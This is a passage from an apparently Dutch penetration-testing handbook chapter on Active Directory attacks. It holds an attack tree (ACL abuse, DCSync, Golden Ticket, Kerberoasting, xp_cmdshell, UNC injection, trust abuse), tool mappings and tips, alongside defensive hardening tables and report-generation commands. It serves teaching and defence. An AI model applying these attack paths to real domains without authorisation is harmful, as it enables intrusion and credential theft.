Dit resulteert in een score van 9.4 (Critical) – omdat een lage-privilege gebruiker via het netwerk, zonder complexe aanvalsvereisten, volledige controle kan verkrijgen over zowel het kwetsbare systeem als aangrenzende systemen.
7.7.4 Bevindingen Exporteren en Importeren
Het findings systeem ondersteunt JSON export en import, waardoor je bevindingen kunt delen tussen projecten of integreren met andere tools:
# Exporteer alle bevindingen als JSON
curl http://127.0.0.1:5000/api/findings/export | python3 -m json.tool
# Importeer bevindingen uit JSON bestand
curl -X POST http://127.0.0.1:5000/api/findings/import \
-H "Content-Type: application/json" \
-d @findings_export.json7.7.5 Evidence Management
Elke bevinding kan voorzien worden van evidence – screenshots, logbestanden, packet captures, of wat je maar nodig hebt om je verhaal te onderbouwen.
# Upload evidence voor een bevinding
curl -X POST http://127.0.0.1:5000/api/findings/42/evidence \
-F "file=@screenshot_dcsync.png"
# Bekijk evidence voor een bevinding
curl http://127.0.0.1:5000/api/findings/42/evidence
# Exporteer alle evidence als ZIP
curl -o evidence.zip http://127.0.0.1:5000/api/findings/evidence/export7.7.6 Rapport Generatie
Het kroonstuk: van bevindingen naar rapport. IB genereert een LaTeX-document dat via pandoc wordt omgezet naar Markdown, met OWASP-categorisering, severity-kleuren en kruisverwijzingen.
De route /dashboard/findings/rapport triggert het
volgende proces:
- Bevindingen worden gegroepeerd op template-referentie
- Notities worden toegevoegd als subsecties
- LaTeX wordt gegenereerd met bevindingkoppen, beschrijvingen en evidence
- Regex-transformaties zetten LaTeX om naar HTML
- Pandoc converteert HTML naar Markdown
- Een YAML front matter blok wordt toegevoegd voor metadata
George zou zeggen: “Het hele rapport-generatieproces is een keten van regex-transformaties die LaTeX omzet naar HTML omzet naar Markdown. Het is alsof je een brief in het Latijn schrijft, die vertaalt naar het Grieks, en dan naar het Nederlands. Maar het werkt. En op het einde staat er toch echt een rapport.”
7.8 AD Aanvallen: De Verdediging
7.8.1 ACL Auditing
| Maatregel | Implementatie |
|---|---|
| ACL monitoring | Event ID 5136 (Directory Service Changes) in SIEM |
| Privileged group monitoring | Event ID 4728, 4732, 4756 (groepslidmaatschap) |
| AdminSDHolder | Automatische ACL-reset op protected groups |
| Tiered administration | Aparte admin-accounts per tier |
| BloodHound audits | Regelmatig attack path analysis uitvoeren |
7.8.2 DCSync Preventie
| Maatregel | Implementatie |
|---|---|
| Beperk replication rechten | Alleen DC computer accounts |
| Monitor replicatie | Event ID 4662 met Replicating GUIDs |
| Network segmentatie | DCs in apart VLAN, alleen noodzakelijk verkeer |
| Credential Guard | Voorkomt credential theft op endpoints |
7.8.3 Trust Hardening
| Maatregel | Implementatie |
|---|---|
| SID Filtering | Inschakelen op alle trusts |
| Selective Authentication | Beperk cross-forest toegang tot specifieke accounts |
| Trust audit | Regelmatig alle trusts reviewen op noodzaak |
| Quarantine policy | Nieuwe forests standaard in quarantaine |
7.8.4 SQL Server Hardening
| Maatregel | Implementatie |
|---|---|
| Least privilege service accounts | gMSA’s in plaats van domain accounts |
| xp_cmdshell uitschakelen | En monitor op herinschakeling |
| Linked servers minimaliseren | Verwijder onnodige links |
| SMB signing vereisen | Voorkomt NTLM relay |
| SQL Server audit | C2 audit logging inschakelen |
7.9 Het cynische slotwoord
“Weet je wat het echte probleem is met Active Directory? Het is niet dat het onveilig is. Het is dat het precies zo veilig is als de mensen die het beheren. En dat zijn dezelfde mensen die hun wifi-wachtwoord instellen op ‘Welkom01!’ en dan verbaasd zijn dat de buurman hun Netflix gebruikt.
Active Directory is een Ferrari. Een prachtige machine, vol vermogen, met duizend knoppen en hendels. En wij geven de sleutel aan iemand die net zijn rijbewijs heeft gehaald en zeggen: ‘Hier, beheer dit even voor tienduizend gebruikers.’ En dan zijn we verrast als hij ergens tegenaan rijdt.
Het mooiste vind ik nog de trust-relaties. ‘Wij vertrouwen dit andere domein.’ Waarom? ‘Omdat ze het vroegen.’ Geweldig. Laten we dat principe ook toepassen op het echte leven. ‘Meneer de bankier, ik vertrouw deze persoon, kunt u hem toegang geven tot mijn kluis?’ ‘Maar meneer, wie is deze persoon?’ ‘Geen idee, maar hij draagt een stropdas, dus het zal wel goed zitten.’
En weet je wat het allerergste is? Als je een pentest doet en al deze dingen vindt, en je schrijft het op in een rapport, dan zegt de klant: ‘Ja maar dat wisten we al, we hadden alleen nog geen tijd om het op te lossen.’ GEEN TIJD. Alsof beveiliging iets is dat je doet als je een rustig weekendje hebt. ‘Schat, zullen we dit weekend de tuin doen, of zullen we voorkomen dat onze hele IT-infrastructuur overgenomen wordt door een willekeurige persoon met een PowerShell-script?’ Hmm, lastige keuze.”
7.10 De AD Aanvalsboom
Domain User Account
|
+-------------+-------------+
| |
ACL Enumeratie MSSQL Enumeratie
(PowerView/BloodHound) (PowerUpSQL)
| |
+--------+--------+ +------+------+
| | | | | |
GenericAll WriteDACL WriteOwner UNC Linked xp_cmdshell
| | | Inject Server |
| Geef jezelf | | | OS Command
| DCSync | Hash | Execution
| rechten | Capture | |
| | | | Privilege |
+--------+--------+ Crack/ Hop |
| Relay | |
DCSync | Sysadmin |
| | op remote |
+---------+---------+ +--------+--------+
| | | |
krbtgt Admin Service Lateral
hash hash Account Movement
| | hashes |
Golden Pass- | |
Ticket the-Hash Kerberoast |
| | | |
+---------+--------+---------+-------+
|
Domain Admin / Enterprise Admin
|
+--------+--------+
| |
Child-to-Parent Cross-Forest
(sIDHistory) (Trust Key)
| |
Enterprise Admin External Forest
Toegang
Deze boom toont hoe Active Directory-aanvallen zich vertakken vanuit een gewone domain user. De linkerkant focust op ACL-misbruik en DCSync – het klassieke pad. De rechterkant toont de SQL Server-route die vaak over het hoofd gezien wordt maar even effectief kan zijn.
In de praktijk zijn de paden niet zo gescheiden. Een UNC Path Injection geeft je een hash die je kunt kraken of relayen. Een Kerberoast-hash leidt naar een service account dat wellicht GenericAll heeft op een ander object. BloodHound verbindt deze punten visueel en berekent het kortste pad.
7.11 Historische Context: Hoe We Hier Gekomen Zijn
De geschiedenis van Active Directory is een verhaal van goede bedoelingen en onvoorziene gevolgen – en het is fascinerend.
In de jaren negentig beheerde elke Windows-server zijn eigen gebruikers- database (SAM). Als je tien servers had, had je tien aparte gebruikers- lijsten. Het was chaos. Microsoft’s oplossing was Windows NT 4.0 met domain controllers – een centrale database voor alle gebruikers. Maar NT-domeinen waren plat: geen hiërarchie, geen delegatie, geen fijnmazige rechten.
In 2000 kwam Active Directory, gebaseerd op LDAP en Kerberos. Het was revolutionair. Plotseling kon je een hiërarchie van domeinen opzetten, rechten delegeren aan specifieke OUs, en beleid afdwingen via Group Policy. Het was alsof je van een dorpsplein met een megafoon overging naar een heel bestuursapparaat met ministeries, departementen en ambtenaren.
Het probleem? Diezelfde complexiteit werd een aanvalsoppervlak. Elke feature – trusts, delegation, ACLs, GPOs, replicatie – was een potentiele aanvalsvector. En de standaardinstellingen waren gericht op functionaliteit, niet op beveiliging.
Vijfentwintig jaar later zitten we met de gevolgen. De meeste Active Directory-omgevingen zijn organisch gegroeid, beheerd door wisselende teams, en nooit fundamenteel opgeschoond. Het is alsof je een stad hebt die in de loop der eeuwen is uitgebreid zonder ooit een stadsplan te maken. De wegen zijn kronkelig, de bebording is inconsistent, en er staan gebouwen die niemand meer gebruikt maar die ook niemand durft af te breken.
George zou zeggen: “Active Directory is vijfentwintig jaar oud. In mensjaren is dat een kwart eeuw. In IT-jaren is dat een geologisch tijdperk. En toch vertrouwen we er de beveiliging van onze hele infrastructuur aan toe. Dat is alsof je in 2026 nog steeds een slot op je voordeur hebt uit 2000. Een slot dat iedereen kent, waar YouTube-tutorials over bestaan, en waarvoor de loper te koop is op Amazon voor 9,95 euro inclusief verzending.”
7.12 IB Tips & Tricks
Tip 1: Begin altijd met ACL-enumeratie. BloodHound is je vriend. Upload de data, markeer je huidige account als “owned”, en laat het de kortste weg naar Domain Admin berekenen.
Tip 2: DCSync is het einddoel van bijna elke AD-aanval. Als je de keuze hebt tussen meerdere escalatiepaden, kies het pad dat naar DCSync-rechten leidt.
Tip 3: SQL Server is vaak het vergeten kind in een AD-omgeving. Als je vastloopt met standaard AD-technieken, probeer de SQL-route.
Get-SQLInstanceDomainkost je twee seconden en kan een hele nieuwe wereld openen.
Tip 4: Documenteer elke stap. IB’s finding management systeem is er niet voor de sier. Upload je screenshots, noteer je CVSS-scores, en link naar de juiste OWASP-categorie. Je toekomstige zelf (en je reviewer) zullen je dankbaar zijn.
Tip 5: Ruim op na jezelf. Zet xp_cmdshell weer uit. Verwijder de SPN die je gezet hebt. Haal jezelf weer uit Domain Admins. Een goede pentester laat geen sporen achter – of in ieder geval, alleen de sporen die in het rapport staan.
7.13 Referentietabel
| Techniek | IB Command | Tool(s) | Vereisten |
|---|---|---|---|
| ACL Enumeratie | ad_enum_acl |
PowerView | Domain user |
| GenericAll Abuse | ad_genericall |
PowerView | GenericAll op target |
| WriteDACL Abuse | ad_writedacl |
PowerView | WriteDACL op target |
| DCSync | ad_dcsync |
Mimikatz, Impacket | Replication rechten |
| Child-to-Parent | ad_trust_child_to_parent |
Mimikatz, Rubeus | DA in child domain |
| Cross-Forest | ad_trust_cross_forest |
Mimikatz, Rubeus | DA in current forest |
| MSSQL Enum | mssql_enum |
PowerUpSQL | Domain user |
| MSSQL Linked | mssql_linked |
PowerUpSQL | SQL Server toegang |
| MSSQL xp_cmdshell | mssql_xpcmdshell |
PowerUpSQL | sysadmin op SQL |
| MSSQL UNC Inject | mssql_unc_inject |
Responder, PowerUpSQL | SQL Server toegang |
| GPO Abuse | – | SharpGPOAbuse | Schrijfrechten op GPO |
Volgende hoofdstuk: Kerberos Aanvallen – waar we het authenticatieprotocol ontleden dat vernoemd is naar een driekoppige hellehond, en ontdekken dat zelfs mythologische bewakers niet opgewassen zijn tegen creatieve aanvallers met een PowerShell-prompt.